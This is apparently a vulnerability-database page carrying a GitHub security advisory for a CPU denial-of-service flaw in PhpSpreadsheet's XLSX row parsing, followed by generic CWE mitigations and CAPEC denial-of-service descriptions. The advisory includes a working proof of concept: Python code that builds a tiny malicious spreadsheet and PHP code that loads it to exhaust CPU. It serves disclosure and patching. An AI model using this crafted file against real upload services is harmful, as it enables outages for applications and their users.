      "url": "http://www.acunetix.com/blog/websecuritynews/php-multipartform-data-denial-of-service"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2009/dsa-1940"
    },
    {
      "type": "WEB",
      "url": "http://www.itrc.hp.com/service/cki/docDisplay.do?docId=emr_na-c02512995"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2009:303"
    },
    {
      "type": "WEB",
      "url": "http://www.mandriva.com/security/advisories?name=MDVSA-2009:305"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2009/11/20/2"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2009/11/20/7"
    },
    {
      "type": "WEB",
      "url": "http://www.php.net/ChangeLog-5.php"
    },
    {
      "type": "WEB",
      "url": "http://www.php.net/releases/5_2_12.php"
    },
    {
      "type": "WEB",
      "url": "http://www.php.net/releases/5_3_1.php"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/507982/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2009/3593"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-7C6M-4442-2X6M

Vulnerability from github – Published: 2026-04-29 20:24 – Updated: 2026-05-13 16:31
VLAI
Summary
PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions
Details

Summary

The XLSX reader's ColumnAndRowAttributes::readRowAttributes() method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (AddressRange::MAX_ROW = 1,048,576). An attacker can craft a minimal XLSX file (~1.6KB) containing a <row r="999999999"/> element that inflates cachedHighestRow to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.

Details

In src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php at line 216, the row index is cast directly from XML without bounds checking:

// ColumnAndRowAttributes.php:216
$rowIndex = (int) $row['r'];  // No validation against AddressRange::MAX_ROW

This value flows through setRowAttributes() (line 126) → $this->worksheet->getRowDimension($rowNumber) (line 60), which updates the cached highest row in Worksheet.php:1348:

// Worksheet.php:1342-1349
public function getRowDimension(int $row): RowDimension
{
    if (!isset($this->rowDimensions[$row])) {
        $this->rowDimensions[$row] = new RowDimension($row);
        $this->cachedHighestRow = max($this->cachedHighestRow, $row);
    }
    return $this->rowDimensions[$row];
}

The inflated cachedHighestRow is then returned by getHighestRow() (line 1099) and used as the default end bound in RowIterator::resetEnd() (RowIterator.php:86):

// RowIterator.php:86
$this->endRow = $endRow ?: $this->subject->getHighestRow();

Notably, column attributes already have equivalent validation at line 161 (AddressRange::MAX_COLUMN_INT), and cell coordinates are validated in Coordinate::coordinateFromString() (line 40) against MAX_ROW. The row dimension attribute path bypasses both of these checks.

PoC

Step 1: Create the malicious XLSX file (~1.6KB)

import zipfile
import io

content_types = '<?xml version="1.0" encoding="UTF-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/><Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/></Types>'

rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="xl/workbook.xml"/></Relationships>'

workbook = '<?xml version="1.0" encoding="UTF-8"?><workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"><sheets><sheet name="Sheet1" sheetId="1" r:id="rId1"/></sheets></workbook>'

wb_rels = '<?xml version="1.0" encoding="UTF-8"?><Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"><Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet" Target="worksheets/sheet1.xml"/></Relationships>'

sheet = '<?xml version="1.0" encoding="UTF-8"?><worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"><sheetData><row r="1"><c r="A1"><v>1</v></c></row><row r="999999999" ht="15"/></sheetData></worksheet>'

with zipfile.ZipFile('dos_row.xlsx', 'w', zipfile.ZIP_DEFLATED) as zf:
    zf.writestr('[Content_Types].xml', content_types)
    zf.writestr('_rels/.rels', rels)
    zf.writestr('xl/workbook.xml', workbook)
    zf.writestr('xl/_rels/workbook.xml.rels', wb_rels)
    zf.writestr('xl/worksheets/sheet1.xml', sheet)

print("Created dos_row.xlsx")

Step 2: Load with PhpSpreadsheet (CPU exhaustion)

<?php
require 'vendor/autoload.php';

use PhpOffice\PhpSpreadsheet\IOFactory;

$reader = IOFactory::createReader('Xlsx');
$spreadsheet = $reader->load('dos_row.xlsx');
$sheet = $spreadsheet->getActiveSheet();

echo "Highest row: " . $sheet->getHighestRow() . "\n";
// Output: Highest row: 999999999

// This will consume CPU for ~144 seconds (999M iterations)
foreach ($sheet->getRowIterator() as $row) {
    // CPU exhaustion
}

Expected output: getHighestRow() returns 999999999. Any row iteration hangs indefinitely.

Impact

  • CPU Denial of Service: A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using getRowIterator() or uses getHighestRow() as a loop bound. Estimated CPU burn is ~144 seconds per file.
  • Memory Exhaustion: Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.
  • Amplification: The ratio of input size to resource consumption is extreme — 1,580 bytes triggers nearly 1 billion iterations.
  • Common Attack Surface: PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.

Recommended Fix

Add row bounds validation in readRowAttributes() at line 216, matching the column validation pattern already present at line 161:

// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216
// Before:
$rowIndex = (int) $row['r'];

// After:
$rowIndex = (int) $row['r'];
if ($rowIndex < 1 || $rowIndex > AddressRange::MAX_ROW) {
    continue;
}

The AddressRange import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in Coordinate::coordinateFromString() and the column validation at line 161.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 5.6.0"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "5.7.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.10.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "fixed": "3.10.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.4.4"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.2.0"
            },
            {
              "fixed": "2.4.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.1.15"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.0.0"
            },
            {
              "fixed": "2.1.16"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.30.3"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "phpoffice/phpspreadsheet"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.30.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-40902"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-29T20:24:13Z",
    "nvd_published_at": "2026-05-12T22:16:33Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe XLSX reader\u0027s `ColumnAndRowAttributes::readRowAttributes()` method reads row numbers from XML attributes without validating them against the spreadsheet maximum row limit (`AddressRange::MAX_ROW = 1,048,576`). An attacker can craft a minimal XLSX file (~1.6KB) containing a `\u003crow r=\"999999999\"/\u003e` element that inflates `cachedHighestRow` to 999,999,999, causing any subsequent row iteration to attempt ~1 billion loop cycles and exhaust CPU resources.\n\n## Details\n\nIn `src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php` at line 216, the row index is cast directly from XML without bounds checking:\n\n```php\n// ColumnAndRowAttributes.php:216\n$rowIndex = (int) $row[\u0027r\u0027];  // No validation against AddressRange::MAX_ROW\n```\n\nThis value flows through `setRowAttributes()` (line 126) \u2192 `$this-\u003eworksheet-\u003egetRowDimension($rowNumber)` (line 60), which updates the cached highest row in `Worksheet.php:1348`:\n\n```php\n// Worksheet.php:1342-1349\npublic function getRowDimension(int $row): RowDimension\n{\n    if (!isset($this-\u003erowDimensions[$row])) {\n        $this-\u003erowDimensions[$row] = new RowDimension($row);\n        $this-\u003ecachedHighestRow = max($this-\u003ecachedHighestRow, $row);\n    }\n    return $this-\u003erowDimensions[$row];\n}\n```\n\nThe inflated `cachedHighestRow` is then returned by `getHighestRow()` (line 1099) and used as the default end bound in `RowIterator::resetEnd()` (RowIterator.php:86):\n\n```php\n// RowIterator.php:86\n$this-\u003eendRow = $endRow ?: $this-\u003esubject-\u003egetHighestRow();\n```\n\nNotably, column attributes already have equivalent validation at line 161 (`AddressRange::MAX_COLUMN_INT`), and cell coordinates are validated in `Coordinate::coordinateFromString()` (line 40) against `MAX_ROW`. The row dimension attribute path bypasses both of these checks.\n\n## PoC\n\n**Step 1: Create the malicious XLSX file (~1.6KB)**\n\n```python\nimport zipfile\nimport io\n\ncontent_types = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cTypes xmlns=\"http://schemas.openxmlformats.org/package/2006/content-types\"\u003e\u003cDefault Extension=\"rels\" ContentType=\"application/vnd.openxmlformats-package.relationships+xml\"/\u003e\u003cDefault Extension=\"xml\" ContentType=\"application/xml\"/\u003e\u003cOverride PartName=\"/xl/workbook.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml\"/\u003e\u003cOverride PartName=\"/xl/worksheets/sheet1.xml\" ContentType=\"application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml\"/\u003e\u003c/Types\u003e\u0027\n\nrels = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument\" Target=\"xl/workbook.xml\"/\u003e\u003c/Relationships\u003e\u0027\n\nworkbook = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cworkbook xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\" xmlns:r=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships\"\u003e\u003csheets\u003e\u003csheet name=\"Sheet1\" sheetId=\"1\" r:id=\"rId1\"/\u003e\u003c/sheets\u003e\u003c/workbook\u003e\u0027\n\nwb_rels = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cRelationships xmlns=\"http://schemas.openxmlformats.org/package/2006/relationships\"\u003e\u003cRelationship Id=\"rId1\" Type=\"http://schemas.openxmlformats.org/officeDocument/2006/relationships/worksheet\" Target=\"worksheets/sheet1.xml\"/\u003e\u003c/Relationships\u003e\u0027\n\nsheet = \u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\u003cworksheet xmlns=\"http://schemas.openxmlformats.org/spreadsheetml/2006/main\"\u003e\u003csheetData\u003e\u003crow r=\"1\"\u003e\u003cc r=\"A1\"\u003e\u003cv\u003e1\u003c/v\u003e\u003c/c\u003e\u003c/row\u003e\u003crow r=\"999999999\" ht=\"15\"/\u003e\u003c/sheetData\u003e\u003c/worksheet\u003e\u0027\n\nwith zipfile.ZipFile(\u0027dos_row.xlsx\u0027, \u0027w\u0027, zipfile.ZIP_DEFLATED) as zf:\n    zf.writestr(\u0027[Content_Types].xml\u0027, content_types)\n    zf.writestr(\u0027_rels/.rels\u0027, rels)\n    zf.writestr(\u0027xl/workbook.xml\u0027, workbook)\n    zf.writestr(\u0027xl/_rels/workbook.xml.rels\u0027, wb_rels)\n    zf.writestr(\u0027xl/worksheets/sheet1.xml\u0027, sheet)\n\nprint(\"Created dos_row.xlsx\")\n```\n\n**Step 2: Load with PhpSpreadsheet (CPU exhaustion)**\n\n```php\n\u003c?php\nrequire \u0027vendor/autoload.php\u0027;\n\nuse PhpOffice\\PhpSpreadsheet\\IOFactory;\n\n$reader = IOFactory::createReader(\u0027Xlsx\u0027);\n$spreadsheet = $reader-\u003eload(\u0027dos_row.xlsx\u0027);\n$sheet = $spreadsheet-\u003egetActiveSheet();\n\necho \"Highest row: \" . $sheet-\u003egetHighestRow() . \"\\n\";\n// Output: Highest row: 999999999\n\n// This will consume CPU for ~144 seconds (999M iterations)\nforeach ($sheet-\u003egetRowIterator() as $row) {\n    // CPU exhaustion\n}\n```\n\n**Expected output:** `getHighestRow()` returns 999999999. Any row iteration hangs indefinitely.\n\n## Impact\n\n- **CPU Denial of Service:** A 1.6KB crafted XLSX file causes ~999 million loop iterations in any application that iterates rows using `getRowIterator()` or uses `getHighestRow()` as a loop bound. Estimated CPU burn is ~144 seconds per file.\n- **Memory Exhaustion:** Applications that accumulate data during iteration (e.g., importing rows into a database, building arrays) will also exhaust memory.\n- **Amplification:** The ratio of input size to resource consumption is extreme \u2014 1,580 bytes triggers nearly 1 billion iterations.\n- **Common Attack Surface:** PhpSpreadsheet is widely used in web applications that accept user-uploaded spreadsheets for import/processing, making this easily exploitable remotely.\n\n## Recommended Fix\n\nAdd row bounds validation in `readRowAttributes()` at line 216, matching the column validation pattern already present at line 161:\n\n```php\n// src/PhpSpreadsheet/Reader/Xlsx/ColumnAndRowAttributes.php:216\n// Before:\n$rowIndex = (int) $row[\u0027r\u0027];\n\n// After:\n$rowIndex = (int) $row[\u0027r\u0027];\nif ($rowIndex \u003c 1 || $rowIndex \u003e AddressRange::MAX_ROW) {\n    continue;\n}\n```\n\nThe `AddressRange` import is already present at line 5 of this file. This fix is consistent with the existing cell coordinate validation in `Coordinate::coordinateFromString()` and the column validation at line 161.",
  "id": "GHSA-7c6m-4442-2x6m",
  "modified": "2026-05-13T16:31:37Z",
  "published": "2026-04-29T20:24:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-7c6m-4442-2x6m"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40902"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/PHPOffice/PhpSpreadsheet"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PhpSpreadsheet has CPU Denial of Service via Unbounded Row Number in XLSX Row Dimensions"
}
Mitigation
Requirements

Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.

Mitigation
Architecture and Design

Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation MIT-38.1
Architecture and Design Implementation
  • If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
  • Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Operation Architecture and Design

Strategy: Resource Limitation

  • Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
  • When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
  • Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding

An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.

CAPEC-130: Excessive Allocation

An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-197: Exponential Data Expansion

An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.

CAPEC-229: Serialized Data Parameter Blowup

This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.

CAPEC-230: Serialized Data with Nested Payloads

Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.

CAPEC-231: Oversized Serialized Data Payloads

An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.

CAPEC-469: HTTP DoS

An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.

CAPEC-482: TCP Flood

An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.

CAPEC-486: UDP Flood

An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-487: ICMP Flood

An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.

CAPEC-488: HTTP Flood

An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.

CAPEC-489: SSL Flood

An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.

CAPEC-490: Amplification

An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.

CAPEC-491: Quadratic Data Expansion

An adversary exploits macro-like substitution to cause a denial of service situation due to excessive memory being allocated to fully expand the data. The result of this denial of service could cause the application to freeze or crash. This involves defining a very large entity and using it multiple times in a single entity substitution. CAPEC-197 is a similar attack pattern, but it is easier to discover and defend against. This attack pattern does not perform multi-level substitution and therefore does not obviously appear to consume extensive resources.

CAPEC-493: SOAP Array Blowup

An adversary may execute an attack on a web service that uses SOAP messages in communication. By sending a very large SOAP array declaration to the web service, the attacker forces the web service to allocate space for the array elements before they are parsed by the XML parser. The attacker message is typically small in size containing a large array declaration of say 1,000,000 elements and a couple of array elements. This attack targets exhaustion of the memory resources of the web service.

CAPEC-494: TCP Fragmentation

An adversary may execute a TCP Fragmentation attack against a target with the intention of avoiding filtering rules of network controls, by attempting to fragment the TCP packet such that the headers flag field is pushed into the second fragment which typically is not filtered.

CAPEC-495: UDP Fragmentation

An attacker may execute a UDP Fragmentation attack against a target server in an attempt to consume resources such as bandwidth and CPU. IP fragmentation occurs when an IP datagram is larger than the MTU of the route the datagram has to traverse. Typically the attacker will use large UDP packets over 1500 bytes of data which forces fragmentation as ethernet MTU is 1500 bytes. This attack is a variation on a typical UDP flood but it enables more network bandwidth to be consumed with fewer packets. Additionally it has the potential to consume server CPU resources and fill memory buffers associated with the processing and reassembling of fragmented packets.

CAPEC-496: ICMP Fragmentation

An attacker may execute a ICMP Fragmentation attack against a target with the intention of consuming resources or causing a crash. The attacker crafts a large number of identical fragmented IP packets containing a portion of a fragmented ICMP message. The attacker these sends these messages to a target host which causes the host to become non-responsive. Another vector may be sending a fragmented ICMP message to a target host with incorrect sizes in the header which causes the host to hang.

CAPEC-528: XML Flood

An adversary may execute a flooding attack using XML messages with the intent to deny legitimate users access to a web service. These attacks are accomplished by sending a large number of XML based requests and letting the service attempt to parse each one. In many cases this type of an attack will result in a XML Denial of Service (XDoS) due to an application becoming unstable, freezing, or crashing.

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